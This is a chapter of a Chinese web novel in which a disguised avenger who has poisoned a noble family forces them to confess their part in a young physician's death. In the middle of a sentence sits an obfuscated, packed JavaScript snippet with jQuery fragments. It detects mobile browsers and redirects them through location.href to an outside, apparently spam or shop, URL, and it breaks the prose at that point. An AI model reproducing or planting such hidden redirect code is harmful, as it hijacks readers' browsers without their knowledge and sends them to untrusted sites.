汪鸣只是安静地看着自己面前的杯盏,灯火静静地摇曳,将他半边脸色拖入黑暗,难辨情绪。
似乎对自己目前众夫所指的境遇早有预料,又似乎是根本不在乎,他忽然很轻地笑了一声。
“我原本以为你们这群蠢货,到死都不会发现的。”他伸手,漫不经心地在杯口摩挲,说出口的话却句句怨毒,“一群自私自利的小人,真以为装得面目友善就能洗净自己的冤屈了吗,嗤,做梦。”
“摆好你自己的身份,你现在是杀人凶手!”郁挽风威胁道。
“那又怎样,我只是在行侠仗义而已,郁家人手里都沾满着鲜血,又有哪个人无辜?就算杀了,又如何,不过是替天行道罢了。”
“你不是汪鸣。”慕忆芳笃定道。
“确实不是,汪鸣天生痴傻,我以解他痴病为条件让汪家给了我这个身份,这才成功入赘郁家。”
郁敬心头一沉,“能解痴病,你学医,难道你也是医师?”
“这么害怕干什么,放轻松,”汪鸣笑了笑,“我不是医师,不过,你非要这么想的话,也可以是。”
“你到底想干什么?”储凝秋疑虑地看着他,“郁家对你不薄,你虽为入赘子,可郁家从未亏待过你,平日吃穿不必说,就连每日的晨昏定省,宴会交际,也因为你身子孱弱从未逼你去过,你就这么对待我们的?”
“我都说了,放轻松,你们都这么紧张干什么,我又不会吃了你们。”汪鸣抿了一口杯中的茶水,“咱们来玩个游戏怎么样?”
“我给你们出几个谜题吧,你们谁能最先猜出谜题的答案,我就把唯一的百味槐的解药给他吃。”
“你下毒了?”
汪鸣漫不经心地摇了摇杯里仅剩下的半盏茶,却没喝,也没回答,他缓缓开口:“很久,很久以前,有位年轻的公子,喜欢上了一位名门医师,可惜,他的家里并不认同那位医师,认为她无权无势,对公子没有帮助,可是公子还是不顾众人反对将那位医师迎娶进府。”
“医师进府的第一年,二人恩爱羡煞旁人,情比鸳鸯,忠贞不逾。可是好景不长。”汪鸣惋惜地叹了口气,“不过两年,那位公子便变了心,不仅对曾经恩爱的伴侣动辄打骂,还追求上了另一位芳龄女子,将一家老小抛之脑后,未过丧礼就迫不及待将新人迎娶回府,而那位医师被冷落忘却,郁郁而终。”
“可是啊,真心瞬息万变,又何况是这样负心薄情的男子,这次连一年都不到,公子哥又瞧上了别家姑娘,可还未等他故技重施,他的小小心思便被自己的续弦发现了,你们猜,这个人是谁?”
郁挽风气急败坏:“你到底是谁!”
“我是谁不重要,重要的是,杀人偿命!”汪鸣掷地有声道:“你们郁府一家,冷心薄情,眼睁睁看着一条人命陨落却无动于衷,当真是衣冠禽兽,还敢妄称自己是名门望族。”
“怎么,见柳溪没有了利用价值,就盯上了孟家幺女,只可惜,柳溪不比墨可卿心软,孟家也不如墨家那般怯懦,贪心贪到这个地步,也得看自己有没有命拿。”
说罢,他转身看向慕忆芳:“哎呀,太激动了,我倒忘了您了,怎么,母亲,受制于人的滋味可好不好受?”
慕忆芳倒很冷静:“孟大公子,哦不对,应该称呼你为,孟吟。”她纠正了下自己的称呼。
汪鸣,不如说是孟吟没理会,他沉浸在复仇的快感里:“第一个问题没人回答,那好吧,我这个人心善得很,我再给你们次机会,忏悔,向我忏悔,忏悔你们犯的罪过,如果你们的真诚打动了我,我就给你们百味槐的解药并放你们离开,怎么样,谁先开始?”
以目前的状况来看,汪鸣说的恐怕句句属实,不说真话就是死,可谁又知道他说的话是真是假,谁敢保证自己说出真相后,不会惹得他暴怒。
可汪鸣最讨厌沉默。
他扫视了周围一圈,看向缄默的众人,伸出食指,最后指向了——段绮,“先从你开始吧,我们被横刀夺爱的,可怜的段夫人,你有什么要忏悔的吗?”
段绮纠结了许久,缓缓开口:“我……我对不起郁扶风,我辜负他的一腔真心,其实我根本不爱他,我嫁给他只是为了能够长久陪伴在柳溪身边,我假称自己不喜子嗣,其实是对他没有感情,我难以忍受跟溪儿在之外的人在一起。他为我承受了很多来自外界的压力,我对不起他。”
汪鸣不置可否,“下一个。”
“我为了挽风的前途拆散他与墨可卿,我从小骄惯他,养得他如此的性子,却不加管制,最后酿成这般祸端。戚老夫人病发的药引子是我吩咐下人煎煮的,还有柳……”
“停停停,”汪鸣连连制止,不耐烦道:“我可对你们这一大家子乱糟糟的关系不感兴趣,我只想知道,你,你们郁家人,一个个都对墨可卿做了什么?三年之前,到底发生了什么?”
“是我,是我吩咐下人做的,跟他们都没关系。”储凝秋站出来,声音依旧冷静:“是我惦念柳家权势,故意令挽风冷淡墨可卿。柳家家大势大,不会让子女作妾,我向柳家承诺了挽风会升官,到时候正妻之位会留给柳溪,同时偷来墨可卿藏起来的墨家医书,作为交换条件泄露给柳家,让她被墨家逐弃,郁郁而终。”
“多么卑微啊,你要担过所有罪责吗?”汪鸣看着她,笑容却满是嘲弄,“你想的未免也太过于天真了,我不是那么好糊弄的人。”
“汪鸣你到底想干什么!”郁挽风气极,他愤愤不平道:“你明明什么都知道,为什么还要问我们,我们都是害死墨可卿的杀人凶手行了吧,老子不想陪你玩了,要杀要剐随你便,你这样作贱人有意思吗?”
汪鸣怔了怔,忽而又大笑起来,笑得眼泪直掉:“真是,真是对令人羡煞的母子情啊,可惜,郁挽风,你永远也不会想知道你母亲对你做了什么。”
“你……你什么意思?”郁挽风愣住了。
“你以为你为什么始终都比不过郁扶风,很气愤吧,明明你才是大哥,可是处处都不如自己的弟弟,学问学问比不过,爱情爱情比不过,就连受宠程度,也远远比不上他,你拼尽全力争抢的,不过是他唾手可得的东西,你在他面前,永远像个跳梁小丑。”
“这……这又有什么关系,爷爷本来就偏爱二叔。”郁挽风试图说服自己。
“可倘若这一切原本应该都是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588808|205398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
属于你的呢?”汪鸣偏头,“你真的甘心吗?”
郁挽风几乎是焦急地看向自己的母亲,可是却被她侧身避开目光,他愣住了,呆呆地举起自己的双手,注视着。
“母亲,”他看着那双完好如初的手,失魂落魄道:“这双手,是我少年与你出行时,遇见歹人,为你接下刀刃受的重伤,深可见骨的伤口啊,我手上有两道。”
“你说伤在我身痛在你心,便为我请来了墨可卿,让她替我疗伤,我从小孤僻,不得人缘,他是我见过对我最温柔的女孩。”说到墨可卿,他的神色也渐渐柔和起来。
“你不知道,她对我多好,她愿意给我唱小曲儿,常常来看我,愿意听我那些不切实际的梦想,我说要当会元,她也只是温柔地笑着说我相信你。”郁挽风微笑起来,似乎是陷入了美好的回忆。
“她对所有人都这样。”汪鸣冷冷打断。
“我说我要求娶她,当时所有人都不同意,只有您认可我。可卿虽治好了我的手,可是刀口太深了,留下了病根,一到阴天就会剧痛,我好痛,我好痛啊。伤了根本,我不能提重物,不能久握笔,考取功名的路子断了,我只能借关系托个一官半职。”
“可是,可是您跟我说,”郁挽风哽咽起来,“说上头查得严,让我避避风头,我便不敢再去爷爷面前闹,后来我才知道,二婶借着爷爷的关系给郁扶风找了个好官职。我原以为只是我怯懦,才错过了这次机会。”
“找不到好官职,我每日只得待在府里,吃了睡睡了吃,被外人嫌弃是混饭吃的酒囊饭袋。可卿温柔小意,可再真挚的感情也抵不过生活的苦闷,我又没个谋生的手段,日日为了琐碎小事跟可卿吵架。”
“后面你们也知道了,我遇见了柳溪,我不喜欢她,可是柳家家大业大,攀上这根枝,我就能很快找到谋生的路子,我委曲求全,我伏地做小才讨得她的欢喜。”
“可是柳家不会让女儿嫁给一个双手残疾的废物,这时候,母亲您又出现了,我不知道您跟柳家说了什么,我只知道我有官了,我不是废物了,我高兴的地跟可卿分享这个消息,我向他承诺只会认真对她好,却吃了她的闭门羹。”
“没关系,没关系,”郁挽风抹了抹眼泪,“我知道你们都瞧不起我,嫌我脾气差没本事,可我会证明自己的,我努力工作,手疼写不了文书,我就熬夜写,敷着膏药写,别人写半个时辰,我写三个时辰,我承诺要给可卿好的生活,我说了我就一定会做到。”
“为了得到林家的扶持,我日夜哄着柳溪,我跟可卿说是逢场作戏,却被她拒之门外,没关系,没关系,我会用时间证明自己,我努力证明自己,也的确做到了,我升官了,我坐到了曾经梦寐以求的位置。”
似乎是想到痛苦的地方,他掩面痛哭起来,“可是为什么,为什么我却先听到了可卿逝亡的消息!”
“可卿瘦得只剩一把骨头,我抱起她,手却那么痛,那么痛”他嚎啕大哭,“我痛到连那么轻的她都抱不稳,所有人都在劝我节哀,可是你们凭什么,你们凭什么!”
“我恨,我恨柳溪,我恨你们你们所有人!这就是真相,这就是你想看到的吗,母亲?”